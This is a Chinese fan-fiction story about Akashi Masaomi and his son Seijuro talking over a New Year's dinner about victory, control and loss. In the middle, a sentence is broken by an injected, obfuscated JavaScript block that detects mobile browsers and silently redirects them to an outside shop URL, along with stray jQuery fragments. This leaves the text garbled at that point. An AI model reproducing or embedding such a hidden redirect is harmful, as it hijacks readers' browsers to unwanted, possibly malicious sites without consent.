赤司家的元旦家宴不知从何时起，就只有赤司征臣与赤司征十郎二人。
没有佣人往来走动的声响，不必应酬宾客，不必维持家族对外的姿态，这是父子一整年里唯一纯粹属于彼此的时光。
可即便独处相对，二人之间依旧横着刻入骨髓的疏离，没有寻常父子的亲昵嬉闹，只剩沉静肃穆的氛围漫延在一室暖意之中。
二人简单的坐在桌边，长条实木餐桌上整齐摆放着全套怀石料理，漆木餐具光洁素雅，每一道菜品的摆盘都精致可人。
晚餐已然过半，菜品温热适口，偶尔响起餐具轻碰的细碎声响。虽然室内没有寻常家庭元旦的烟火絮叨，没有嘘寒问暖的琐碎唠叨，安静却并不尴尬。
他们父子二人的相处向来如此，话语不多，静静地一起吃各自的晚餐。
良久，征臣率先打破沉寂，声线低沉温润，褪去了平日处理公事的凌厉，只剩历经岁月沉淀的平稳从容。
“今年收尾的各项事务，我大致看过报告了。”他轻轻放下手中的茶盏，指尖温和摩挲着微凉的盏沿，目光温和地落在征十郎身上，“年末的学业考核、篮球社团的赛事战绩，还有我交给你的几桩家族细碎事务，你都处理得干净利落，没有半分纰漏，做的不错。”
征十郎微微垂眸，长睫轻垂，掩去眼底淡淡的情绪，语气恭谨有度，分寸拿捏得恰到好处：“父亲过誉了。我只是谨遵您的教诲，恪守本分，把该做的事做好而已，谈不上出众。”
“无需这般过分谦逊。”征臣淡淡摇头，唇角勾起一抹欣慰的笑意，目光扫过桌上精致的餐食，顺势转开话题，避开了直白的夸赞，褪去了审视的姿态，多了几分家常的随意，“今日元旦，难得彻底清闲。学校边还有没有假期集训？往年年末，你几乎日日泡在球馆里。”
“教练特意安排全员元旦休整，暂停一日所有训练，让大家好好过节、调整状态。”
赤司看向父亲回到，微微停顿，又继续补充得周全妥当：“年后大概便会开启高强度封闭集训，全力备战夏季杯决赛。不过到时候应该是二年级的时候了。所有训练计划、时间分配我已经全部梳理完毕，和家族年后的各项安排完全错开，不会互相冲突，两边的事我都能兼顾妥当。”
征臣闻言缓缓颔首，眼睑半垂，视线落向桌面精致却冰冷的摆盘，可盘子上清晰可见的倒映着他沉郁的目光，那一瞬间，他看见的不是眼前的料理，而是很多年前那个无力挣扎的自己。
“很好。”他轻声道，“做人做事，最该规避的就是变数。混乱带来的代价是注定失控，注定溃败。人这一生，只要始终站在正确的一方，守住胜利，才不会被命运淘汰。”
这句话，是他埋在心底一辈子的生存信条。
是他争取力量，反抗命运失败，遗失挚爱之后，用半生压抑换来的真理：我必须正确，我必须不输，我必须掌控所有轨迹，否则弱小的我，只能被命运碾碎。
他语气说的温和，内里却是创伤沉淀的偏执。
这句话说起来轻描淡写，但在征十郎听来却重如千钧，他从小就在承受和贯彻父亲的理念，通过父亲每一次沉默的纠正、每一个未说出口的失望、每一道落在他作业和成绩单上的目光。
“当然，”征十郎开口了。语调依旧恭顺，姿态未变，唯有视线稳稳锁在父亲脸上，不避不闪，“守住胜利，只是立足的底线。”
听到征十郎的回应，征臣搭在茶盏上的手，一下子停住了。
“对我而言，这只是常态。胜利本就该永远站在我这边。”征十郎接着说道。
一室空气骤然微凝。
犹如一面镜子被放在了对面，两个人同时看到了自己的影子反射。
征臣缓缓放下杯子，他看着儿子。
他看到了什么？
仿佛胜利对他而言不是需要争取的目标，而是呼吸一般的本能。
像我。
这个念头闪过时，征臣感到一阵说不清的欣慰和复杂。
这是他亲手塑造的。
就像他的父亲当年塑造了他一样。
“你似乎比我当年更彻底。”征臣说。
这句话来得很突兀。它不属于任何话题的延伸，不像是一个父亲对儿子的评价，更像是一个棋手对另一个棋手的感慨。
征十郎微微偏头，有些不解。
“我年轻的时候，也说过类似的话。”征臣的目光越过儿子，看向窗外漆黑的夜色。壁灯的光落在他轮廓分明的侧脸上，勾勒出一种介于坚毅和疲惫之间的神情。
“我以为只要足够正确，足够强，就不会再输。我以为掌控了所有变量，命运就拿我没办法。”他轻轻笑了一下，近乎自嘲，“后来我发现，变量是控不完的。你以为你控住了所有变量，其实你只是没看到那些你控不住的。”
征十郎停下所有动作，静静消化着父亲刚才那番话。
“父亲的意思是，”征十郎的声音很平稳，“变数是不可避免的。”
“不是不可避免。”征臣摇头，“是不可穷尽。你可以控制你能看到的，但你看不到所有的。”
“那就不该控制变量。”征十郎说。
征臣抬眼看他。
“该控制结果。”少年的目光没有移开，“变量是无限的，但结果只有一个。我不去控每一个变量，我只确保每一个变量，最终指向同一个结果。”
这句话说出来的时候，餐厅里的空气仿佛又凝滞了一层。
征臣没有再继续解释。
他看着儿子，看着这张与自己如此相似却又截然不同的脸，眉骨的弧度、下颌的线条、瞳孔的颜色，都是他的基因。但那双眼睛里的东西，不是他的。
他还年轻，征十郎的眼睛里没有恐惧。
征臣闭上了眼睛。很短的一瞬。就在那一瞬里，他回到了很多年前，诗织去世的那一年，至少在那一年之前，他也不曾明白恐惧为何物。
“我年轻的时候，”征臣忽然说，声音里带着一种罕见的、近乎疲惫的坦诚，“也以为自己是对的。我以为只要我足够正确，足够强，足够掌控一切。但总有些事情控制不了。”
“父亲的意思是在劝我……柔软……柔和一些？”征十郎纳闷地问。他的语气里有深深困惑。
在他的逻辑里，柔软等于脆弱，脆弱等于可被击溃。这分明是父亲教他的。他完全不明白父亲今晚突然的多愁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910802|203684||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
善感。
“不。”征臣摇头，“我不是在劝你柔软。柔软不是选择，是能力。你没有那个能力，我也没有。我们这种人……”
他顿了顿，“我们这种人，从小就被教会了怎么握紧拳头迎击，很少有人会教过我们怎么张开手。”
他看着儿子，目光里有某种征十郎从未见过的东西。那似乎是一种……近似于歉疚的东西。
“我只是想让你知道一件事。”
“什么？”
“胜利有时候也很无常。”征臣的声音很轻，“永远胜利说不定到头来只是一句空话。”
窗外传来远处烟花的声音，灿烂的，像另一个世界的声响。
“胜利可能不会永远站在某一个人身边。它会走。它会变。它会在你最意想不到的时候站到对面去。”
“那我就追过去。”征十郎说。他的声音很平静，但平静之下是更加的坚定，“胜利在哪边，我就在哪边。它不会离开我，因为我不会给它离开的理由。”
征臣缓缓揉了揉眼睛。
他的儿子，正在活成了自己现在不敢期冀成为的模样呀！
原来是他老了啊！
诗织也已经离开我们很久了啊！
一会儿，征十郎又开口了。“父亲。”
“嗯？”
“您刚才说的那句话，胜利不会永远站在某个人身边。是吗？”
“是。”
“我不同意。”
征臣见到征十郎的反驳，笑意更深了一些。
“同意不同意都无关紧要”他说，“但总有一天你会遇到，我只是提前提醒而已。”
征十郎微微偏头。
“我们是不一样的。”征臣看着他，目光平静而温和，“我的路走到头了，你的路才刚开始。你不需要走我的路。你甚至不需要不走我的路，你只需要走你自己的路。不管那条路通向哪里，我都会带你去到山顶，去慢慢见识这个广阔的世界。”
他放下茶盏，双手交叠放在桌上。
他停顿了。
“直到有一天，你觉得就连我也错了，妨碍到你了，那就请将我也一起扫落，不必饶恕我。”
这句话说出来的时候，餐厅里安静了很久。
烟花的声音从远处传来，一声，两声。
元旦的夜空被照亮了一瞬，又暗下去。
征十郎看着父亲。
他看到了什么？
他看到了一个男人。一个用半生时间筑起高墙、然后在墙内教儿子如何筑墙的男人。
一个终于意识到墙内没有天空、却不知道该怎么告诉儿子外面的天空该是什么样子的男人。
父亲很少夸他，但他望向自己的目光藏着全部的温柔与期许。
父母之爱子，则为之计深远。
所谓父子一场，从来不是宿命的复制。
而是看见彼此的缺憾，理解彼此的处境，终结旧的桎梏，开启新的人生。
“我明白了。”征十郎说。“父亲。”
征臣什么都没说。只是端起茶盏，轻轻碰了一下儿子的茶杯。
瓷器相碰，发出一声清脆的轻响，在寂静的夜里，格外默契。